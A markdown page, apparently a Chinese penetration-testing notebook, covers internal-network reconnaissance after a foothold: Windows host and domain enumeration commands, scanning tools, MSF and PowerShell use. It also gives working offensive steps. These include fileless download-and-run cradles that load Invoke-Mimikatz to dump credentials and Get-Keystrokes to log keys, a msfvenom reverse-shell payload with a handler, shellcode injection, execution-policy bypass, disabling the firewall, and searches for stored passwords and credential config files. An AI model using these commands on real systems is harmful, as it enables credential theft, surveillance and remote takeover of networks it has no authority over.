Skip to content

Latest commit

 

History

History
428 lines (345 loc) · 15.5 KB

内网渗透之信息收集.md

File metadata and controls

428 lines (345 loc) · 15.5 KB

> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s?\_\_biz=MjM5NDUxMTI2NA==&mid=2247484325&idx=1&sn=fb6fa339fc92247d079d2abd61b2b3c0&chksm=a687e36a91f06a7c2aa176da6661c3e3eada22272d011c832f41904b97a1a6dcceb1c402e59a&scene=126&sessionid=1602140939&key=4cf40c946f4d610cc001d8c6ff42effd5b435b1e58695ba9fa07374108deb92684a92a23c56f0805221bd435e43efb17a3aad7a94fbd32d1b7ab55178555851ead001fc49f9e8fac9d7bcd36789814d1651b9c9ba7af46e1a5d0c4f2c27b38387e725675cd614420416dc84d6debc9c6dcbf09f3e60106e1de78e851b144557c&ascene=1&uin=ODk4MDE0MDEy&devicetype=Windows+10+x64&version=62090529&lang=zh\_CN&exportkey=AWHt8Zaay3i%2B6vm1qNuo15w%3D&pass\_ticket=MIT9gkwI%2Flz0hRXozp3zz%2FJGT8%2BgZgLCOBodXSLzGMJddkuYKwJy1I14m7NOwIdt&wx\_header=0)

进入内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境做出判断。对当前机器角色分析,对机器所处网络环境拓扑结构分析,对机器所处区域分析。从而展开下一步攻击。
对机器所处网络环境分析

对所处内网进行全面数据收集和分析整理,绘制出大致的内网整体结构拓扑。
对机器所处区域分析

判断机器所处于网络拓扑哪个区域,是在 DMZ 区、办公区、核心区。区域并不是绝对的,所以区域界限也是相对的。
落地机角色分析

判断当前主机是 web 服务器、开发测试服务器、公共服务器、文件服务器、代理服务器、dns 服务器、存储服务器等。具体判断过程可根据主机名,文件内容,网络链接情况综合完成。

  • 文件服务器:配合社工,生成 payload 捆绑到文件服务器公用文件上,可批量上线主机

  • DNS 服务器:端口 53,可通过 DNS 服务器获取内网 web 系统信息,或者探测域信息

  • DHCP 服务器:查看内网多组网段信息,更多的获取拓补信息

  • 开发测试服务器:获取源码,新的信息资产,多存在弱口令

  • 代理服务器:获取服务器账号,拿到各种密码

  • web 服务器:可能需要提权

  • 个人 PC:查看是否存在域环境


**一、落地机信息收集
**

本机信息收集包括操作系统、权限、内网 IP 地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。
**内网网段信息收集
**

只有找到不同网段才能进行纵向渗透,否则只能横向渗透
1. 端口扫描:用 s.exe 工具进行扫描,例如渗透到 192.168.1.10 网段,可能存在 192.168.2.0/3.0 网段等。只扫描网段的一个端口以探测是否存在该网段。如果有端口信息回显表示该网段存在,可以进行深入探测。常见端口:windows:445/linux:22
2. 抓包分析网络流量,看网段信息。也可以使用 meterpreter 做转发抓取目标所在网络流量
3. 渗透路由器、核心交换机
4. 文件共享 / FTP 连接记录、浏览器访问记录、mstsc 连接记录、ssh 连接记录。

ftp 与 mstsc 连接记录

浏览器访问记录

xshell 连接记录

手动信息收集

#查询网络配置信息。进行IP地址段信息收集
ipconfig /all
#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
# 查看系统体系结构
echo %PROCESSOR\_ARCHITECTURE% 
#PowerShell收集软件的版本信息
powershell "Get-WmiObject -class Win32\_Product |Select-Object -Property name, version" 
#查看当前权限
whoami && whoami /priv
#查询本机服务信息
wmic service list brief
#查看安装的软件的版本、路径等
wmic product get name, version 
#查询进程信息
wmic process list brief
#查看启动程序信息
wmic startup get command,caption 
#查看计划任务
at(win10之前)
schtasks /query /fo LIST /v(win10)
#查看主机开机时间
net statistics workstation
#查看本机用户列表
net user 
#获取本地管理员信息
net localgroup administrators 
##查看当前在线用户
query user || qwinsta 
#列出或断开本地计算机与所连接的客户端的对话
net session
#查询端口列表
netstat -ano/-tnlp
#查看补丁列表
systeminfo 
# 查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看本机共享列表和可访问的域共享列表
net share (445端口)
#查找共享列表
wmic share get name,path,status 
#磁盘映射
net use k:\\\\192.168.1.10\\c$
#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查询路由表
route print
#可用接口的ARP缓存表。局域网内arp -a,查看是否有重复的mac地址判断是否存在arp欺骗。服务器绑定mac地址方式防止arp欺骗
arp -a
查询防火墙相关配置
#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable 
#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off 
#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config
#查看服务
tasklist
#查看在线用户
quser
#查看远程连接信息
cmdkey /l
#查看杀软
WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#查看本地密码策略
net accounts 
#查看hosts文件:
linux:cat  /etc/hosts
windows:type  c:\\Windows\\system32\\drivers\\etc\\hosts
#查看dns缓存
ipconfig  /displaydns

批处理脚本自动化信息收集。为了简化手动信息收集的繁琐步骤,我们可用使用自动化脚本 WMIC(Windows 管理工具命令行) 脚本,脚本下载地址,执行该脚本以后,会将信息收集的结果写入 HTML 文档。项目地址:
http://www.fuzzysecurity.com/scripts/files/wmic\_info.rar

二、域环境信息收集

判断是否存在域。ipconfig /all 可查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处在同一网段等。通过反向解析查询命令 nslookup 来解析域名的 IP 地址,用解析到的 IP 地址进行对比,判断域控服务器和 DNS 服务器是否在同一台机器上。

#查看当前权限
whoami 
#获取域用户SID
whoami /all 
#查询指定用户的详情信息
net user xxx /domain 
#查看域内所有账号
net user /domain 
#对比查看"域(域名)"和"登录服务器(域控制器)"的信息是否匹配
systeminfo 
#对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
net config workstation 
#查看时间可以找到域控
net time /domain
#查看域密码策略
net accounts /domain 
#查看当前登录域    
net config workstation
#查看域用户
net user /domain
# 登录本机的域管理员
net localgroup administrators /domain
#获取域控ip
ping -a xxx.com
#查询域
net view /domain
#查询域内的所有计算机 
net view /domain:HACHE 
#查询域的所有组(enterprise admins组权限最大)
net group /domain 
#查看域管理员的用户组
net group "domain admins" /domain
#查询域系统管理员用户组
net group "Enterprise admins" /domain 
#查看域控制器
net group "domain controllers" /domain
#查看域控制器的机器名
nltest /DCLIST:hacke 
#查看dns缓存
ipconfig  /displaydns
#列域控c盘文件(需要域管理员权限)
dir \\\\WIN-75NA0949GFB.safe-duck.com\\c$
#查询所有域成员计算机列表
net group "domain computers" /domain 
#获取域信任信息
nltest /domain\_trusts 
#获取域内用户的详细信息
wmic useraccount get /all 
#查看存在的用户
dsquery user 
#查询所有计算机名称
dsquery computer
#攻击主机CMD扫描同网段存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#查看域控制器
net group "domaincontrollers" /domain

1. 域间信任关系可传递;
2. 子域必须以父域名作为后缀;
3.DNS(Domain Name Server) 用于域名及 IP 之间的转换。在内网渗透时寻找 DNS 服务器可以定位 DC(DNS 服务器与 DC 通常就是一台主机)
4. 活动目录 (Active Directory),在域中提供目录服务的组件
5. 子域域控 DNS 服务器要写主域的 dns

三、探测内网存活主机

1.nbtscan

使用 nbtscan 扫描本地或远程 TCP/IP 网络上开放的 NetBIOS 名称服务器,使用方法:

nbtscan.exe 192.168.1.1/20

输出的结果第一列为 IP 地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。

2. 使用 ICMP 协议快速探测内网
3.arp-scan 工具,使用方法:

arp-scan --interface=eth0 --localnet

4.Empire 的 arpscan 模块
5.Nishang 中的 Invoke-ARPScan.ps1 脚本
6.s.exe 网段单个端口探测主机存活

四、域内端口探测

在内网主机存活探测完成之后,对探测到的资产进行整理,然后端口扫描。注意端口 banner 信息,注意探测端口触发防御系统

**1. 端口扫描工具:s.exe
**

s.exe tcp 192.168.1.1 192.168.1.254 21,80,3389,445 10

2.telnet 命令单个主机单个端口探测
3.Metatsploit 框架下 "search portscan"
4.PowerSploit 的 Invoke-ARPScan.ps1 脚本
5.Nishang 中的 Invoke-PortScan 模块

五、MSF 信息收集

MSF 建立会话拿到 shell,即可直接执行 DOS 命令至今进行信息收集。也可以进行直接执行 run winenum 可以一键收集记录。

run winenum

查看报告:

六、powershell 信息收集

默认 powershell 是不能执行脚本的,获取脚本策略之后才能使用:

get-executionpolicy
set-executionpolicy unrestricted
#exec bypass绕过脚本
#绕过安全策略直行脚本
powershell.exe -Executionpolicy BYpass -file 123.ps1   
#本地隐藏绕过权限直行脚本
powershell.exe -Executionpolicy BYpass  -windowstyle hidden -nologo -nonlnteractive -noprofile -file 123.ps1  
#cmd下使用powershell
powershell -exec bypass "import-module c:\\powershell.ps1;Get-NetUser"
#加载模块
load powershell
#调用本地ps脚本
powershell\_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令执行
powershell\_execute  Get-NetDomain 
#获取当前的域名称
Get-NetDomain  
#返回所有域内成员的详细信息
Get-Netuser 
#获取所有的域内的控制器信息
Get-NetDomainController 
#获取所有域内机器的名称
Get-NetComputer  
#获取域内的所有的网络共享
Get-Netshare
#获取指定服务的远程连接信息  
Get-NetRDPSESSION  
#获取进程的详细信息
Get-NetProcess  
# 获取活动目录的信息
Get-ADOPJECT 
#判断用户是否登陆计算机且用户是否有管理员权限
invoke-processhunter

iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")

1.PowerSploit
    PowerSploit 是 PowerShell 模块的集合,kali 自带,输入 powersploit 即可。

项目地址:https://github.com/PowerShellMafia/PowerSploit

建立会话后的 meterpreter:

#扫描网段、端口
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"

**powersploit 无文件攻击
**

将 powersploit 文件放在 vps 上面。确保目标服务器可以访问:

在目标机导入脚本:

#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#导hash
Invoke-Mimikatz -dumpcreds

执行命令:

#get-keystrokes键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#将键盘记录保存到123.txt里面
Get-Keystrokes -logpath C:\\Users\\admin\\123.txt

#生成powershell payload
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.5 LPORT=1123 -f powershell -o /root/xdx.ps1
#开启侦听
use exploit/multi/handler
set lport 1123
run
#目标下载生成好的ps脚本
iex(new-object net.webclient).downloadstring("http://192.168.3.1/xdx.ps1")  xdx.ps1 
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") 
#可以将msf生成是payload进程注入
invoke-shellcode.ps1   
#执行进程注入,msf会反弹回话
Invoke-Shellcode  -shellcode  $buf  -Force

findstr  /s /m "password" \*.\*

powersploit 还有很多给力的模块,这里写不过来~

msf 调用 powershell

Tomcat:
CATALINA\_HOME/conf/tomcat-users.xml
Apache:
/etc/httpd/conf/httpd.conf
Nginx:
/etc/nginx/nginx.conf
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
Mysql:
mysql\\data\\mysql\\user.MYD

七、中间件配置文件
一个正常的 Web 应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:

findstr  /s /m "password" \*.\*

常用应用的默认配置路径:

Tomcat:
CATALINA\_HOME/conf/tomcat-users.xml
Apache:
/etc/httpd/conf/httpd.conf
Nginx:
/etc/nginx/nginx.conf
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
Mysql:
mysql\\data\\mysql\\user.MYD